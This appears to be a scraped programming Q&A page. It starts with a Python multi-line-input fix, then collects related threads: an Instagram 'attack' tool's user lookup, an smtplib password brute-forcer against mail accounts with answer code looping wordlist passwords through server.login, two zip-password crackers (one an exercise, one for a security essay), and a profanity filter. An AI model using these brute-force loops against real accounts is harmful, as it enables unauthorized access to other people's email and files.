I want to take multi-line Input from users in python and this code take multi-line input from user put the output is only last line
I made this program which converts text into handwriting using pywhatkit library and I wants that user can give input in multi-lines and It take multi-lines but cannot print it only print last line.
Here I'm taking multi-line input from user
But in output it's printing only last line of my input
from colorama import init
from termcolor import colored
import pywhatkit as kit
print("")
init()
print(colored('Support me on Instagram: #shiva5harma ', 'white', 'on_red'))
print("")
print("Enter/Paste your content. Ctrl-D or Ctrl-Z ( windows ) to save it.")
contents = []
while True:
try:
text = input()
except EOFError:
break
contents.append(text)
print("")
print("-- Lcation Example: C:/User/owner/Desktop/image_name.png --")
print("")
path=str(input("Enter Location where to store image\n"))
try:
print("")
print("I'm working on it Please Wait.......\n")
kit.text_to_handwriting(text,path)
except:
print("Error Occured")
finally:
print("Your Image is ready !! Your will find your Image here\n",path)
You're using the wrong parameter in this line:
kit.text_to_handwriting(text,path)
I believe it should be something like:
full_text = "\n".join(contents) # Make one big string of all individual input lines
kit.text_to_handwriting(full_text,path) # Use the new parameter
Related
I am working on a project that finds if a user is available or not on Instagram, (Basically that's only one of the functions.)
To do that I use this code from requests:
def start():
clear() # Clears the previous input through the OS module
print(inp + cut + "Stress them is booting...") # Inp + Cut are optional strings
use = input("Who do you want to attack? Enter here: >> ") # We take the input from here (Specifically the user)
response = requests.get("https://www.instagram.com/"+xuse+"/") # Check if the user exists, this does not work if you put # in the beginning.
if response.status_code == 404 :
PrintFatalError("User could not be found, try again.") # The user wasn't found
# Here the program stops and returns to the main program / input where I ask the user for a command.
elif response.status_code == 200 :
PrintFatalError("User " + use + " has been detected ! Proceed with the tool? ") # The user was found
f = input(" ") # This is the point
if f in "y":
print ("Beginning")
else:
print("Not a valid option, aborting.") # I abort since I don't want a loop in this phase.
Some other info that might help:
The program is fully CLI, I don't use a GUI.
This program uses while loops instead of for loops, for many reasons.
NOTE: PrintFatalError is a variable I created to display messages in red / green color. It still does not work with the classic print("string") way through.
I have created a brute-forcer tool using smtplib module for top mail services but I am struck with a problem. The problem is how can I take a text file as input.
I want that the tool should take the password from 1st line of wordlist and try it, and then, it would move to the next password and try it.
What I tried is:-
def wordlist():
global file
file = open('file.txt')
global max_line
max_line = int(input("Please enter the number of passwords (lines) in the worldist: "))
global line
line = file.readlines()
global line_no
line_no = 0
main()
def main():
line_no+=1
while max_line!=line_no:
server.login('target#email.com', line[count])
line_no+=1
if __name__ == "__main__":
wordlist()
In simple words, I want to create a loop in which the tool should take 1st password from wordlist and try it, and then move to the next.
you can use split("\n") to separate the passwords then use the list
passwords=passwordsText.split("\n")
for i in passwords:
try:
server.login('target#email.com', str(i))
except Exception:
continue
Maybe like this.
something like this:
for password in passwords:
mail="From:example#example.com To:example#example.com Password:%s Text:wbdshgfbd" %(password)
I was given a problem to solve, asking to add 3 more letters to 'Super' and then use it to unlock a zip file. My code is as follows:
import zipfile
import itertools
import time
# Function for extracting zip files to test if the password works!
def extractFile(zip_file, password):
try:
zip_file.extractall(pwd=password)
return True
except KeyboardInterrupt:
exit(0)
except Exception, e:
pass
# Main code starts here...
# The file name of the zip file.
zipfilename = 'planz.zip'
# The first part of the password. We know this for sure!
first_half_password = 'Super'
# We don't know what characters they add afterwards...
# This is case sensitive!
alphabet = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
zip_file = zipfile.ZipFile(zipfilename)
# We know they always have 3 characters after Super...
# For every possible combination of 3 letters from alphabet...
for c in itertools.product(alphabet, repeat=3):
# Slowing it down on purpose to make it work better with the web terminal
# Remove at your peril
time.sleep(0.001)
# Add the three letters to the first half of the password.
password = first_half_password+''.join(c)
# Try to extract the file.
print "Trying: %s" % password
# If the file was extracted, you found the right password.
if extractFile(zip_file, password):
print '*' * 20
print 'Password found: %s' % password
print 'Files extracted...'
exit(0)
# If no password was found by the end, let us know!
print 'Password not found.'
But my code returns
./code.py: line 6: syntax error near unexpected token ('./code.py: line 6: def extractFile(zip_file, password):'
What is the syntax error, because I'm not able to find it?
You have to add a shebang:
In the first line add
#! /usr/bin/env python2
I am trying to build a winzip file cracker without a dictionary attack (For an essay on password security). It needs to scroll through the "combos" iteration trying each combination until the passwords is found. So close to being done but currently it needs the password entry as a single string which is required to be converted to bytes whereas I need it to try each output of the combostotal
Thank you in advance for any help
I have saved it in a sandbox https://onlinegdb.com/ryRYih2im
Link to the file is here
https://drive.google.com/open?id=1rpkJnImBJdg_aoiVpX4x5PP0dpEum2fS
Click for screenshot
Simple zip brute force password cracker
from itertools import product
from zipfile import ZipFile, BadZipFile
import string
def find_pw():
pw_length = 1
while True:
s = string.ascii_lowercase
for x in product(s, repeat=pw_length):
pwd = "".join(x)
with ZipFile("test.zip") as zf:
try:
zf.extractall(pwd=bytes(pwd, "UTF-8"))
print("Password is {}".format(pwd))
return
except RuntimeError as e:
pass
except BadZipFile as e:
pass
pw_length += 1
we need itertools.product for this type of tasks
string got alphanumeric strings for simplicity
I have a program that comminucate with user. I'm taking data from user with input() but, I want to tell user, for example if user typing a swearword, I want to print You are swearing! Delete it immediately! while user is typing.
As you know, firstly Python is waiting for until input() is done. My goal is access to input() before it's done then I can print You are swearing! Delete it immediately! while user typing.
There is too many dicts and functions in my program so I'm going to write an example that relevant about my main problem.
print ("Let's talk..")
isim=input("What's your name?: ")
print ("Hi there {}.".format(isim))
no=["badwords","morebadwords"]
while True:
user=input(u">>>{}: ".format(isim)).lower()
for ct in user.split():
if ct in no:
print ("You are swearing! Delete it immediately! ")
But it's not working because Python is waiting first until user input is done. How can I do this while user is typing? -Python 3.4, Windows-
I don't have much experience in this, you probably can find some package to do what you want.
But in general, you need to implement some line editing and while implementing it scan the input.
The idea of the getch function is to enable you to get callback after each key press. The code is cross platform between unix and windows.
To use it, just import getch from getch.
With limited support only to backspace, you can write something like this:
from getch import getch
import sys
def is_bad(text):
no=["badwords","morebadwords"]
words = text.split()
for w in words:
if w in no:
return True
return False
def main():
print 'Enter something'
text = ''
sys.stdout.write('')
while True:
ch = getch()
if ord(ch) == 13:
sys.stdout.write('\n')
break
if ord(ch) == 127:
if text:
text = text[:-1]
# first one to delete, so we add spaces
sys.stdout.write('\r' + text + ' ')
sys.stdout.write('\r' + text)
else:
text += ch
sys.stdout.write(ch)
if is_bad(text):
print 'You are writing something bad...'
print 'text = %s' % text
if __name__ == '__main__':
main()
The code should be improved by splitting to clearer functions and you should also handle the after bad message typing, but I hope you get the idea.
Hope it would help.